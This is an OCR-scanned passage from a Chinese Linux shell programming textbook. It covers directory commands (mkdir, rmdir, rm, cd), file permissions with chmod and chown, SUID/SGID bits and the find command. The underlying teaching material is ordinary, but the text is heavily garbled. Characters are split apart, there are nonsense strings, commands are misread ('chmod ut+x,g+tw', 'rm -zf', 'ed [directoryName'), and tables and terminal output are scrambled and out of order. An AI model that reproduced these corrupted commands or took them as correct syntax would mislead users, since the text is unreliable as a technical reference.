elrapterlSn olel sn ele Ex nle2 tx es testv 
使 用 交互 式 rm 选项 删除 空 目录 chapter13 


reootenselab she rm rehnaptern 






















































































o 














以 














上 


rm: remove directory ‘chapterl3'? y 
root@jselab shell Ws 

ine sh Ellele tx Pe et tie est 
root@jselab shell 


2.2.2 ”目录 操作 常用 命令 


目录 操作 常用 命令 包括 创建 目录 命令 mkdir、 删 除 目录 命令 rmdir 和 目录 切换 命令 cd， 
下 面 我 们 逐一 讲述 这 些 命令 。 

1. 创建 目录 命令 一 一 mkdir 

mkdir 命令 用 于 创建 目录 ， 为 文件 分 门 别 类 地 放 在 这 些 创建 的 目录 中 ， 其 执行 要 指定 需 
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要 创建 的 目录 即 可 ， 


mkdir 








该 命令 创建 














的 父 目 录 中 ) 





leperenl 
其 中 ,， [option] 为 mkdir 命令 选项 ，[directoryName] 是 需要 
[directoryName] 命 名 的 目录 ， 要 求 创建 目录 的 用 户 
有 具有 写 权 限 ， 并 且 [directoryName] 不 能 是 当 





与 DOS 下 的 md 命令 


[directoryName] 


到 精通 》 


表 2-10 列 出 了 mkdir 命令 选项 及 其 意义 。 








类 似 ， 其 语 





~ 





| 建 的 目 


法 格式 如 下 所 示 : 

















录 名 称 。 需 要 
在 当前 目录 中 (directoryName 








表 2-10 mkdir 命令 的 选 


先 项 及 其 意义 


~ 所、 











说 明 的 是 ， 


当前 目录 中 己 有 的 目录 或 文件 名 称 ， 














对 新 建 有 





录 设 置 存 取 权 限 





尚 不 存在 


可 以 是 一 个 路 径 名 称 。 











的 目录 ， 即 








此 时 若 路 径 中 必 














次 可 以 建立 多 个 目录 























习 录 尚 不 存在 ， 











加 上 此 选项 后 ， 系 














动 建立 好 那些 





权限 控制 
如 果 在 创建 目录 的 过 程 中 父 目 录 不 存在 ， 则 可 使 用 -p 选项 一 起 创建 


子 目 令 -p 选项 的 用 法 。 

















chapterl13 


[root@localhost shell 
[root@localhost shell]# 


Cola 20 

EW 
GR = 
OE = 
OR 


drwxrwxrWwx. 





| 


2 








在 进行 目录 的 创建 时 


录 名 为 tsk， 让 所 有 的 用 户 都 有 rwx〔 即 读 、 写 、 执 行 的 权限 〉。 
# 例 2-16: 通过 mkdir 创建 一 个 名 为 tsk 的 目录 ， 所 有 的 用 户 都 可 读 和 
[root@localhost shell 


chapter15 


roOot 
root 
Eee 
root 
EODOt 


等 次 创建 








目录 都 显 











]# ls 








root 
root 
Foot 
OOt 
EGOE 


[root@localhost shell]# 


上 面 的 例 2-16 用 -m 777 指定 了 目录 的 读 、 

















o 























例 2- 

第 1 条 命令 : 
root@l1 
Mle 
第 2 条 命令 : 
Eee 
SEO 
chapter13 
SET 
xzOotQ@1 
test 
rarexenelC hl 

















录 ， 下 面 的 侦 


ocal 
ocal 
ocal 


ocal 
ocal 


ocal 





在 例 2-17 











=* 生 语法 错误 ; 





1 2-17 演 
7: 演示 mkdir 命 


4096 
4096 
4096 
4096 
4096 


示 信 息 


可 以 使 用 -m 选项 设置 

















celiapterle chapter2 
J sel ee 
se 


S00 0 0 
20E0=03=02 
a00 = 00s 
2010 0 04 
2010=03=04 





OUR 
04: 
19s 
Qa 
03: 


08 
0 
与 下 
05 
0 

















# 创 建 





chapterl13 
chapter15 
chapter16 
chapter2 
tek 

















货 示 了 mkdir 命 
令 -p ed 











testdir 不 存在 ，mkdir 不 带 -p 选项 将 出 错 


host shell 


加 上 -P 选项 成 功 创建 testdir 目录 及 其 子 
host shell]# mkdir -p testdir/test 
host shell 
chapter15 


host shell 





# ls 








Hmkdir testdir/test 
cannot create directory ‘testdir/test': 





host testdir]# ls 


host testdir]# 


| 


和 


> 





2. 删除 目录 命 


个 请 区 




















a 














chapter16 chapter2 testdir 
# cd testdir 
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于 testdir 目录 是 不 存在 的 ， 


天 

















SI 





全 目录 的 权限 ， 下 面 的 例 2-16 创建 了 一 


执行 。 


录 ， 并 指定 权限 


号、 执行 权限 ，2.2.3 节 将 介 





Novsueh Emmie or onreetory 
导 录 test 





绍 文 件 和 目录 的 








父 目 录 和 需要 创建 的 


而 ，mkdir 不 带 -p 选项 创建 testdir/test 时 











化 




















| 清和 远见 教 




















目录 及 其 子 目 





录 test。 
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rmdir 命令 可 以 删除 一 个 或 多 个 目录 ， 在 删除 目录 时 ， 目 录 必 须 为 空 。rm 命令 可 以 同时 
删除 多 个 目录 ， 在 删除 某 一 目录 时 ， 必 须 拥 有 该 目录 的 父 目 录 的 号 和 执行 的 权限 。 其 语法 格 
式 如 下 所 示 : 


rmdir [option] [directoyName] 
其 中 ，[option] 为 rmdir 命令 选项 ，[directoryName] 为 目录 名 ， 表 2-11 列 出 了 rmdir 命令 
选项 及 其 意义 。 


表 2-11 rmdir 命令 的 选项 及 其 意义 










































































3 删除 。 当 子 目 录 删 除 后 ， 其 父 目 录 为 空 时 ， 也 将 会 一 同 被 删除 。 如 果 整 个 路 径 被 删除 
- 某 种 原因 保留 部 分 路 径 ， 则 系统 会 在 标准 输出 上 显示 相应 的 信息 







































































--ignore-fail-on-non-empty 忽略 非 空 目录 的 错误 信息 























由 于 rmdir 仅仅 能 删除 父 目 录 中 只 包含 空子 目录 的 情况 ， 如 果 目 录 中 存在 文件 ， 则 使 用 
rmdir 和 rmdir -p 命令 是 无 法 删除 该 目录 的 ， 所 以 ， 需 使 用 “rm -rf [directoryName]” 命 令 代 
蔡 rmdir， 删 除 某 目 录 时 ， 同 样 要 求 该 用 户 拥 有 对 父 目 录 的 写 权 限 。 

下 面 的 例 2-18 演示 了 rmdir -p 和 rm -rf 的 用 法 。 例 子 中 首先 使 用 rmdir -p 命令 删除 只 存 
在 一 个 空子 目录 testl 的 目录 testdir1， 可 以 看 出 该 命令 递归 地 删除 了 目录 testdirl 和 其 子 目录 
testl; 然后 再 次 使 用 rmdir -p 命令 删除 含有 文件 test.txt 和 空 的 子 目 录 test2 的 目录 testdir2， 
可 以 看 出 testdir2 的 空 的 子 目录 test2 成 功 地 被 删除 ， 但 提示 目录 testdir2 不 为 空 ， 无 法 删除 ; 
最 后 使 用 rm -zf 命令 则 成 功 地 删除 了 不 为 空 的 目录 testdir2。 

网 2-18: 使 用 rmqdir 删除 存在 子 目 孙 的 目录 


目录 testqdirl 中 仅仅 存在 一 个 空子 目录 test1， 使 用 rmdir -p 命令 循环 删除 目录 testdirl 和 test1l 
root@localhost wyq pm eeese ees 





























ot 
































































































































root@localhost wyd Ns 

chapter1l3 Chapter Chapter8 myfile nusers sn.txt testdir2 
查看 目录 testdir2 目录 下 的 文件 和 子 目 录 

root@localhost wyd ls testdir2 

teste Ext test 
于 testqdir2 中 存在 文件 ， 使 用 rmdir -p 命令 仅仅 删除 了 空 目 录 testdir2 
root@localhost wyGd Wai 

Emon ren eneve dnreetory Cesceane2 lB 

使 用 rm -rf 命令 则 成 功 地 删除 了 含有 文件 的 目录 testadir2 


rooealeeanlheos ew Ti 本 三 下 本 SEE 是 









































Eeecaallnes ew LEE 
chapter13 Chapter Chapter8 myfile nusers sn.txt 



































root@localhost wyq 


3. 目录 切换 命令 一 一 cd 

在 Linux 操作 系统 的 文本 模式 下 ， 在 目录 之 间 进 行 切 换 都 需要 通过 命令 来 完成 。 显 然 ， 这 
没有 图 形 化 界面 下 使 用 鼠标 操作 那么 方便 。 但 是 ，Shell 中 提供 了 一 个 目录 切换 字符 一 一 cd， 在 
该 字符 的 帮助 下 ， 系 统管 理 员 可 以 轻松 地 在 不 同 的 目录 之 间 进 行 切 换 。 其 语法 格式 如 下 所 示 : 

ed [directoryName 

该 命令 用 于 变换 工作 目录 ， 其 中 ，[directoryName] 可 以 为 绝对 路 径 ， 也 可 为 相对 路 径 ， 
名 对 路 径 从 “/”〈 指 代 根 》 开始 ， 然 后 切换 到 所 需 的 目录 ;相对 路 径 从 当前 目录 开始 ， 当 前 
目录 可 以 是 文件 系统 的 任何 地 方 。 需 要 注意 的 是 ， 想 要 访问 目录 或 文件 的 相对 路 径 之 前 ， 要 
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确保 知道 当前 工作 目录 的 位 

















到 精通 》 








置 ， 如 果 标 明 的 是 到 另 

















文件 系统 所 在 的 位 置 ， 
表 2-12 是 cd 命令 











表 2-12 cd 命令 的 具体 使 


如 果 不 能 肯定 ， 可 输入 pwd 命令 ,就 会 显示 当前 的 工作 目 
的 具体 使 用 说 明 。 





用 说 明 


一 个 


























使 用 说 明 


录 或 文件 的 绝对 路 径 ， 则 不 必 担 心 
录 。 下面 的 








登 
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录 目 录 

















司 样 是 








返 世 








登录 目录 














系 








统 根 目 录 

















cd /root 返回 到 




















根 用 户 或 超级 








户 〈 在 安装 时 人 包 





建 的 账 
































录 ， 但 必须 是 根 用 户 才能 访问 该 目录 








cd /home 返回 到 




































































home 目录 ，home 目 

















cd .. 向 上 移 








动 一 级 目录 











cd - 











返回 上 





在 目录 切换 的 过 程 中 ， 








A 


























次 访问 的 目录 





还 有 两 个 比较 重要 的 特殊 字符 ， 分 别 为 “.” 与 “..” 


4 





“.” 表 示 当 前 目 
时 候 ， 在 路 径 的 最 后 需要 加 
录 下 的 一 个 脚本 文件 ， 


















































录 。 这 个 符号 很 重要 ， 在 很 多 地 方 都 需 








Ar 口 











人 








要 用 到 。 








呈 I 








上 这 个 66 7 局- ， 

















员 想 运 





Ar 品 


付 写 ， 


























































































































































































































今 表示 进入 到 当前 目录 的 下 一 个 子 目 录 Setup 下 商 ， 

另外 一 个 特殊 的 字符 就 是 ″.. 兴 英文 状态 下 的 双 点 号 ) 它 在 系统 中 表示 的 是 上 一 级 目录 。 
如 果 管 理 员 利 用 cd 命令 定义 到 一个 目录 后 ,又 想 回 到 上 一 级 目录 中 ， 则 可 以 使 用 命令 “cd ..” 
命令 来 实现 ， 注 意 : cd 命令 与 点 号 之 间 要 有 空格 。 下 面 举例 说 明 cd 命令 的 用 法 ， 例 2-19 通 
过 使 用 cd 命令 返回 到 根 目 录 中 ,并 通过 ls 命令 返回 根 目录 下 的 文件 和 子 目 录 , 然后 通过 “cd 
一 ”命令 回 到 上 次 访问 的 目录 。 

# 例 2-19: 一 个 使 用 cd 的 例子 

[wyq@jselab ~]$ cd / 查看 根 目录 

[wyq@jselab /]$ 1s 

Spa se ESEECoel ec sem Sve var 

beeot qnome meds Broaeqsel muzqtem 

dev lib mnt EC 正六 Us 下 

[wyq@jselab /]$ cd -  # 返 回 到 上 次 访问 的 目录 

/home/wyq 

[wyq@jselab ~]$ 

“~” 符 写 也 是 一 个 比较 有 用 的 符号 , 如 系统 管理 员 想 从 任何 目录 中 回 到 用 户 的 主 目录 下 ， 
除了 按 原 路 返回 外 ， 要 回 到 用 户 的 主 目录 下 ， 有 一 个 很 便捷 的 方式 ， 就 是 通过 一 个 特殊 的 字 
符 “~” 来 完成 。 通 常情 况 下 ， 当 管理 员 创建 某 个 用 户 后 ， 在 系统 的 /home 目录 中 会 以 这 个 用 
户 的 名 字 建 立 一 个 文件 炎 ， 这 个 文件 夹 所 在 的 目录 就 是 用 户 的 主 目 录 。 当 用 户 不 知道 自己 所 
处 的 是 哪个 目录 ， 而 需要 迅速 回 到 自己 的 主 目录 时 ， 可 以 使 用 命令 “cd ~” 来 实现 。 下 面 的 
例 2-20 用 来 说 明 “~” 及 其 用 法 ， 该 例 首 先 使 用 su 命令 切换 到 root 用 户 下 ， 然 后 通过 “cd ~” 
命令 迅速 回 到 了 root 用 户 的 主 目录 。 


化 : 青 | 元 见 
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其 中 
如 在 定义 PATH 环境 变量 的 
这 表示 当前 目录 。 如 果 系 统管 理 5 
如 setup.sh， 则 可 以 不 采用 绝对 路 径 ， 而 直接 使 用 “./setup.sh” 命 令 ， 
其 中 这 个 “.” 符 号 就 代表 当前 目录 。 在 cd 命令 中 也 可 以 使 用 “.” 


运行 当前 目 


如 “cd ./setup” 命 
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# 例 2-20: 使 用 “~ ”快速 到 达 用 户主 目录 
[wyq@localhost home]$ su 

密码 : 
# 输 入 密码 后 通过 “cq ~” 命 令 回 到 root 用 户 的 主 目录 
[root@localhost home]# cd ~ 
[root@localhost ~]# 


2.2.3 文件 和 目录 权限 管理 


Linux 系统 中 的 每 个 文件 和 目录 都 有 访问 许可 权限 ， 用 它 来 确定 用 户 能 以 何 种 方式 对 文 
件 和 目录 进行 访问 和 操作 。 

文件 或 目录 的 访问 权限 分 为 只 读 、 只 写 和 可 执行 三 种 。 以 文件 为 例 ， 只 读 权限 表示 只 人 允 
许 读 其 内 容 ， 而 禁止 对 其 做 任何 的 更 改 操作 ， 可 执行 权限 表示 人 允许 将 该 文件 作为 一 个 程序 执 
行 。 文 件 被 创建 时 ， 文 件 所 有 者 自动 拥有 对 该 文件 的 读 、 写 和 可 执行 权限 ， 以 便于 对 文件 的 
阅读 和 修改 。 用 户 也 可 根据 需要 把 访问 权限 设置 为 任何 组 合 。 

有 三 种 不 同类 型 的 用 户 可 对 文件 或 目录 进行 访问 : 文件 所 有 者 、 同 组 用 户 、 其 他 用 户 。 
文件 所 有 者 一 般 是 文件 的 创建 者 ， 他 可 以 允许 同 组 用 户 访问 文件 ， 还 可 以 将 文件 的 访问 权限 
赋予 系统 中 的 其 他 用 户 ， 从 而 使 系统 中 每 一 位 用 户 都 能 访问 该 所 有 者 拥有 的 文件 或 目录 。 

每 一 文件 或 目录 的 访问 权限 都 有 三 组 ， 每 组 用 三 位 表示 ,分别 为 文件 属 主 的 读 、 写 和 执 
行 权 限 , 与 属 主 同 组 的 用 户 的 读 、 写 和 执行 权限 ， 以 及 系统 中 其 他 用 户 的 读 、 写 和 执行 权限 。 
下 面 的 例 2-21 列 出 一 个 文件 和 一 个 目录 的 详细 信息 。 


例 2-21: 查看 文件 和 目录 的 权限 
EOC Nelae snl ooklrls WeAREo ds 










































































































































































































































































oe ea 2 0 eo OE Dl 
root@jselab shell-book]# ls -1 example/ 
总 计 4 


dew XE -< 2 oooe M400 20090 -0090-05 eho 
root@jselab shell-book] 


网 2-21 中 ，CARGO.db 是 一 个 文件 ， 详 细 信 息 的 第 1 个 字符 是 横 线 (-); 而 example 是 
一 个 目录 ， 详 细 信息 的 第 1 个 字符 是 d。 权 限 字段 + 代表 只 读 ，w 代表 写 ，x 代表 可 执行 。 
文件 和 目录 都 有 三 组 权限 ， 以 CARGO.db 为 例 ， 第 1 组 是 rw， 表 示 该 文件 的 属 主 具 有 读 
写 权 限 ; 第 2 组 是 r， 表 示 与 文件 属 主 同 组 的 用 户 只 有 读 权限 ; 第 3 组 是 r， 其 他 用 户 也 只 有 读 
权限 ; ch01 目录 也 是 同样 的 , 图 2-1 显示 了 CARGO.db 文件 和 ch01 目录 的 文件 权限 对 应 关系 。 


































































































-TW-T--T--，1 root root 225 03-15 13:34 CARGO.db 











其 他 用 户 权 限 位 
与 文件 属 主 同 组 的 用 户 权 限 位 


属 主 用 户 权 限 位 









































drwxr-xr-x. 2 root root 4096 2009-09-05 ch01 


2-1 文件 权限 位 示意 图 











文件 和 目录 权限 管理 依赖 于 两 个 极其 重要 的 命令 : 更 改 文件 (目录) 权限 命令 chmod 和 
更 改 文件 〈 目 录 ) 用 户 命令 chown， 下 面 我 们 详细 讲述 这 两 个 命令 。 
1. 更 改 文件 (目录 〉 权限 命令 一 一 chmod 
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chmod 命令 用 于 更 改 文 件 或 目 








录 的 访问 权限 ， 它 有 两 种 用 法 : 一 种 是 包含 字母 和 操作 符 




















FE; 另 一 种 是 包含 数字 的 数字 设 定 法 。 文 字 设 定 法 的 格式 为 : 





chmod [userType] [signal] | 


type| [filename] 


chmod 命令 三 种 参数 类 型 如 表 2-13 所 示 。 


表 2-13 chmod 三 种 参数 类 型 


用 户 类 型 (userType) 


数学 符号 (signal) 文件 类 型 (type) 




















户 (user) ， 即 文件 或 目录 的 所 有 者 








+ 添加 某 个 权限 r 可 读 
































- 取消 某 个 权限 Ww 可 写 





示 同 组 〈group) ， 即 与 文件 属 主 同 组 的 

















其 他 〈others) 用 户 




















= 赋予 给 定 权限 并 取消 其 他 所 有 权限 | x 可 执行 

















示 所 有 〈all) 用 户 。 它 是 系统 默认 值 




















下 面 的 例 2-22 利用 chmod 命令 改变 testvi 文件 的 权限 ， 将 testvi 文件 的 权限 改 成 : 








可 


十 








例 2-22: 修改 文件 testvi 的 属性 
reootQlocanost enapeeen 
EWE 1 ro ot 0020 
root@localhost chapter13] 
root@localhost chapter13] 
-wxEw=E ro root 0 20 








rootenoealhnost enater 











注意 : chmod 命令 的 不 同 参数 之 间 需 要 用 逗号 隔 开 。 
那么 什么 是 chmod 的 数字 设 定 法 呢 ? 首先 需要 了 解 用 数字 表示 属 














占 
HH 





读 、 可 写 、 可 执行 ， 同 组 用 户 可 读 、 可 写 。 


由 
六 603=02004-0Essev 
chmod ut+x,g+tw testvi 
Le = “cee 
三 二 三 和 和 人 






































性 的 含义 : 0 表示 没有 








权限 ，1 表示 可 执行 权限 ，2 表示 可 写 权限 ;4 表示 可 读 权 限 ， 然 后 将 其 相 加 。 所 以 ， 数 字 属 





性 的 格式 























chmod ut+x,g+w testvi 





命令 等 价 于 下 面 的 命令 : 

















chmod 764 testvi 





点 为 3 个 从 0 到 7 的 八进制 数 ， 其 顺序 是 u，g，o。 比 如 伪 








1 2-22 中 的 








下 面 的 例 2-23 新 创建 了 一 个 文件 testvi1， 然 后 使 用 了 chmod 数字 设 定 法 对 testvil 进行 
修改 权限 ， 可 以 看 出 ， 执 行 后 的 文件 testvil 和 和 上面 testvi 文件 的 权限 相同 ， 其 中 touch 命令 
可 以 用 于 文件 的 创建 。 

















例 2-23: 使 用 chmod 数字 设 定 法 对 
root@localhost chapter13]# 
root@localhost chapterl13]# 
Wroot 0 
root@localhost chapterl13]# 
root@localhost chapter13]# 
Swe I doe eh (0 20) 
root@localhost chapter13]+# 












































文件 testvil 进行 权限 控制 

Couemn iss # 创 建文 件 testvil 

la = eas # 查 询 文 件 testvil 的 权限 
10-03-04 04:22 testvil 
chmod 764 testvil # 修 改 testvil 的 权限 

1s -1 es # 查 看 修改 后 的 testvil 的 权限 
10=03=04 04:22 testvil 








2. 更 改 文件 (目录 ) 属 主 命令 一 一 chown 





利用 chown 命令 可 以 改变 文 从 














F 或 目录 的 属 主 。 一 般 来 说 , 这 个 指令 只 由 系统 管理 者 (root) 





























使 用 ， 一 般 使 用 者 没有 权限 改变 别人 的 文件 或 目录 属 主 ， 也 没有 权限 将 自己 的 文件 属 主 更 改 
为 别人 的 ， 只 有 系统 管理 者 (root) 才 有 这 样 的 权限 。chown 命令 的 一 般 形式 为 : 





chown [option] [owner] [file 











name] 
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其 中 ，[option] 为 chown 命令 选项 ，[owner] 为 改变 后 的 用 户 属 主 ， 而 [flename] 为 需要 改 
变 属 主 的 文件 或 目录 。 表 2-14 是 chown 命令 的 选项 及 其 意义 。 























表 2-14 chown 命令 的 选项 及 其 意义 
意义 

















录 属 主 确实 已 经 更 改 ， 才 显示 其 更 改动 作 


文件 的 属 主 时 不 影响 该 链接 所 指向 的 目标 文件 


















































导 录 属 主 无 法 被 更 改 ， 也 不 要 显示 错误 信息 














主 变更 的 详细 资料 
下 的 所 有 文件 与 子 目 录 进 行 相同 的 拥有 者 变更 〈 即 以 递归 的 方式 逐个 变更 ) 







































































需要 注意 的 是 ， 当 用 户 要 改变 一 个 文件 的 属 主 时 ， 所 使 用 的 用 户 除了 是 root 用 户外 ， 还 
可 以 是 目标 属 组 的 成 员 。 下 面 的 例 2-24 是 使 用 chown 命令 将 属于 root 用 户 的 文件 file.txt 改 
为 wyq 用 户 的 。 

# 例 2-24: 使 用 chown 改变 用 户 属 主 

[root@localhost chapter2]# ls -1 

Goauls 

EWXr Xr 2 roo roob A400 2000 0 V400- 4 chapterls 

wo 0 020 le 

# 更 改 file .txt 文件 的 属 主 为 wyq 用 户 

leectoloealhose ehnarter2l i enown ee hw ls Ex 

[root@localhost chapter2]# ls -1 

El 

Ewxr Xr :roomroor 4006 201003 504001:34 chapterls 

二 下 WW 让 一 交 让 一 2X 放 wyo :oot e200 0 05302 :30 SEE 

[root@localhost chapter2]+# 


3. 特殊 权限 命令 一 一 SUID 与 SGID 

除了 上 面 提 到 的 基本 权限 操作 外 ， 还 有 所 谓 的 特殊 权限 存在 。 由 于 特殊 权限 会 拥有 一 些 
“特权 ” 因而 ， 用 户 若 无 特 殊 需 要 ， 不 应 该 去 打开 这 些 权限 ， 避 免 安全 方面 出 现 严 重 漏洞 ， 
甚至 摧毁 系统 。 但 有 时 却 需 要 没有 被 授权 的 用 户 完成 某 项 任务 ， 例 如 passwd 程序 ， 它 允许 用 
户 改 变 口令 ， 这 就 要 求 改变 /etc/passwd 文件 的 口令 域 。 然 而 系统 管理 员 决 不 允许 普通 用 户 拥 
有 直接 改变 这 个 文件 的 权利 ， 为 了 解决 这 个 问题 ,SUID/SGID 便 应 运 而 生 ， 下 面 介绍 了 这 两 
个 特殊 权限 的 说 明 。 
@ SUID: 当 一 个 设置 了 SUID 位 的 可 执行 文件 被 执行 时 , 该 文件 以 所 有 者 的 号 份 运行 ， 

也 就 是 说 ， 无 论 谁 来 执行 这 个 文件 ， 它 都 拥有 文件 所 有 者 的 特权 ， 可 以 任意 使 用 该 

文件 拥有 者 能 使 用 的 全 部 系统 资源 。 如 果 所 有 者 是 root， 那 么 执行 人 就 有 超级 用 户 










































































































































































































































































































































































@ SGID: 当 一 个 设置 了 SGID 位 的 可 执行 文件 被 执行 时 , 该 文件 将 具有 所 属 组 的 特权 ， 
任意 存 取 整 个 组 所 能 使 用 的 系统 资源 ;， 若 一 个 目录 设置 了 SGID， 则 所 有 被 复制 到 
这 个 目录 下 的 文件 ， 其 所 属 的 组 都 会 被 重 设 为 和 这 个 目录 一 样 ， 除 非 在 复制 文件 时 
加 上 -p 选项 ， 才 能 保留 原来 所 属 的 群 组 设置 。 还 可 以 使 用 符号 方式 来 设置 
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SUID/GUID 。 














SUID 和 SGID 占据 了 ls -! 清单 中 x 位 相同 的 空间 ,如 果 开 始 设置 了 可 执行 权限 x 位 , 则 
































S。 





数 ) 





设 ; 
































其 相应 的 位 置 用 小 写 的 s 表示 ; 如 果 没 有 设置 可 执行 权限 x 位 ， 则 其 相应 位 置 表示 为 大 写 的 
置 和 除去 SUID 和 SGID 很 间接 ， 设 置 SUID 位 和 去 除 SUID 位 分 别 使 用 如 下 命令 
































chmod uts [filename]  #i 设 置 [filename] 的 SUID 位 
chmod u-s [filename] 去 除 [filename] 的 SUID 位 




















同样 设置 和 去 除 SGID 的 命令 分 别 为 : 


chmod g+s [filename]  # 设 置 [filename] 的 SGID 位 
chmod g-s [filename] 去 除 [filename] 的 SGID 位 


下 面 举 一 个 例子 讲解 如 何 设置 SUID 位 , 例 2-25 中 的 file.txt 开始 的 权限 没有 设置 SUID， 


























使 用 chmod 命令 后 就 改变 了 SUID 。 





























# 例 2-25: 使 用 chmod 命令 实现 SUID/GUID 





[eol enaneeral is 


totEaus 
EW rE root root A006%20 
WE Xr Xt 20. 


0=03=04000U:340enapterls 
0=08 040 5 :448 fie txt 


[seotleealthnose enaeterea enmeenrs Tamie EE 


[eeocutLeecalhnos enaetereas 1 


totas 

dEwxXE= XE 2 oo0t oo 096 20 
EWSE= XE=X wa ro 20l 
[root@localhost chapter2]+# 





O08 V0 S44enpEer 
O00 


SUID 的 程序 往往 伴随 着 一 定 的 安全 问题 。 有 时 一 个 SUID 程序 与 一 个 系统 程序 (或 库 函 














之 间 的 交互 作用 会 产生 连 程 序 的 编制 者 也 不 知道 的 安全 漏洞 。 一 个 典型 的 例子 是 


















































/usr/lib/preserve 程序 , 它 被 vi 和 ex 编辑 器 使 用 , 当 用 户 在 写 出 对 文件 的 改变 前 被 意外 地 与 系 
统 中 断 时 ， 它 可 以 自动 制作 一 个 正 被 编辑 的 文件 的 副本 。 这 个 保存 的 preserve 程序 将 改变 写 


在 




















的 通知 。 
2.2.4 查找 文件 命令 一 一 find 





find 命令 是 Linux 系统 查找 文件 的 命令 , find 命令 能 帮助 用 户 在 使 用 、 管 理 Linux 的 日 党 









































一 个 专门 的 目录 内 的 临时 文件 中 ;然后 利用 /bin/mail 程序 发 送 给 用 户 一 个 “文件 已 经 被 存 ” 


























Puy 














事务 时 方便 地 查找 出 用 户 所 需要 的 文件 。find 命令 的 基本 格式 是 : 








find [路 径 ] [选项 ] [操作 ] 











在 上 述 find 命令 中 , 路 径 是 find 命令 所 查找 的 目录 路 径 ， 例 如, 用 “.” 来 表示 当前 目录 ， 























用 “/” 来 表示 系统 根 目录 。 选 项 用 于 指定 查找 条 件 ， 如 : 可 以 指定 按照 文件 属 主 、 更 改 时 间 、 
类 型 等 条 件 来 查找 ， 下 面 的 表 2-15 列 出 了 find 命令 的 常用 选项 及 其 意义 。 


表 2-15 find 命令 常用 选项 及 其 意义 


文人 




















文件 名 查找 文件 





时 文件 权限 查找 文件 


























将 被 find 命令 忽略 











使 用 这 一 选项 可 以 使 find 命令 不 在 当前 指定 的 目录 中 查找 ， 如 果 同 时 使 用 -depth 选项 , 那么 -prune 





























华 清 远 见 教育 集团 官网 : www. hqyj. com 





























《Linux Shell 编程 从 初学 到 精通 》 


USeT 根据 文件 属 主 查 找 文件 














group 根据 文件 所 属 的 用 户 组 查找 文件 

















根据 文件 的 更 改 时 间 查 找 文件 ，-n 表示 文件 更 改 时 间距 今 在 n 天 之 内 ，+n 表示 文件 更 改 时 间距 今 
mtime -n +n 在 n 天 前 























nogroup 查找 无 有 效 所 属 组 的 文件 ， 即 该 文件 所 属 的 组 在 /etc/groups 中 不 存在 

















nouser 查找 无 有 效 属 主 的 文件 ， 即 该 文件 的 属 主 在 /etc/passwd 中 不 存在 

















-newer filel ! file2 查找 更 改 时 间 比 文件 flel 新 但 比 文件 file2 旧 的 文件 








查找 某 一 类 型 的 文件 ，type 后 跟 的 子 选项 及 其 意义 如 下 : 
b: 块 设备 文件 
:目录 

c: 字 符 设备 文件 

















size n:[c] 查找 文件 长 度 为 n 块 的 文件 ， 带 有 c 时 表示 文件 长 度 以 字 节 计 









































depth 在 查找 文件 时 ， 首 先 查 找 当 前 目录 中 的 文件 ， 然 后 在 其 子 目录 中 查找 











find 命令 的 操作 用 于 指定 结果 的 输出 方式 , 表 2-16 列 出 了 find 命令 的 操作 名 称 及 其 意义 。 
表 2-16 find 命令 的 操作 名 称 及 其 意义 
操作 名 称 














print 将 匹配 的 文件 输出 到 标准 输出 


exec 








对 匹配 的 文件 执行 该 参数 所 给 出 的 Shell 命令 。 相 应 命令 的 形式 为 command' { } 
和 \; 之 间 的 空格 





和 -exec 的 作用 相同 , 只 不 过 以 一 种 更 安全 的 模式 来 执行 该 参数 所 给 出 的 Shell 命令 , 在 执行 每 一 个 
命令 之 前 ， 都 会 给 出 提示 ， 让 用 户 来 确定 是 否 执 行 






































下 面 我 们 举 几 个 例子 来 说 明 find 命令 的 用 法 ， 以 及 其 路 径 、 选 项 、 操 作 的 用 法 。 首 先 ， 
请 看 下 面 的 例 2-26。 

# 例 2-26: 演示 find 命令 的 print 操作 
# 第 1 条 命令 : 查找 当前 目录 下 文件 名 以 t 开头 的 ， 且 文件 属 主 具 有 读 、 写 、 执 行 权 限 的 文件 
ES 由 TREE ee, 
./DEBUG/trapdebug.sh 
ESSE si 
OSI 
./testvar.sh 
# 第 2 条 命令 : 查找 更 改 时 间距 今 90 天 内 的 文件 
[root@jselab shell-book]# find . -mtime -90 -print 










































































-erm 4 enne 











/neile 

本 和 EGG 

./newfile 

[root@jselab shell-book]# 
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例 2-26 中 的 两 条 命令 变换 了 find 的 查找 条 件 ， 但 是 ， 操 作 都 是 
第 1 条 命令 查找 当前 目录 | 
写 、 执 行 权 限 的 文件 ， 命 令 用 “.” 表 示 当 前 目录 ， 
“*” 字 符 表示 任意 字符 ， 这 和 





查找 条 件 的 所 有 结果 ， 





























下 文件 名 以 t 开头 
-name 't*' 表 示 以 t 开头 





























的 ， 








文件 





























F 用 法 称 为 通 配 ， 本 书 第 3 章 将 会 介绍 这 一 








月 print， 即 打印 出 满足 
的 文件 名 ， 其 中 的 
念 。-perm 744 表示 





文件 属 主 具 有 读 、 写 、 执 行 权 限 ，744 是 表示 文件 权限 的 数字 设 定 法 。 第 1 条 命令 结果 的 ./ 








表示 当前 目录 下 的 文件 ，./DEBUG 则 表示 子 


间距 今 90 天 内 的 文 











件 ， 使 





必 J 








-mtime -n 用 法 。 



































目录 DEBUG 下 的 文件 。 第 2 条 命令 查找 更 改 时 


find 命令 exec 操作 将 对 匹配 的 文件 执行 该 参数 所 给 出 的 Shell 命令 ， 下 面 的 例 2-27 演示 
了 exec 操作 的 用 法 。 
# 例 2-27: 演示 find 命令 的 exec 操作 
[eeoouenmselab yneh coo Ene sce ev ee nemeq ee excel I 















































































































































































































































Ew oo 2 0 Oece/r en enoea 

-rwxr-xr-x. 1 root root 2596 2009-05-02 /etc/rc.d/rce 

Wo oo 2 0 0 /ee en eve 

-rw-r--r--. 1 root root 401 2009-05-02 /etc/event.d/rc4 

-rw-r--r--. 1 root root 401 2009-05-02 /etc/event.d/rc3 

-rw-r--r--. 1 root root 817 2009=05=02 /etc/event.d/rcSs 

-IrIWw-r--r--. roeot rooe e20090 05 02/este/evene ee 

-IrIWw-r--r--. root root 420%20090 05 02%/ete/evente da/res 

-rwWw-r--r--. rooterooee40n2000 O05 02 /See/evenes ee 

-IWw-r--r--. roote rooteno0 e200 0 O02m/esee/eventsyre 

-IW-r--r--. reotemocoen A02000 O05 02W/este/evene dees 

—rIW-r--r--. neoeerooeeoln200 0 0 /eee/evenes es sme 

[root@jselab shell-book]# 

上 面 例 2-27 中 的 命令 表示 查找 /ete 目录 下 文件 名 以 re 开头 的 普通 文件 ， 并 对 查找 结果 
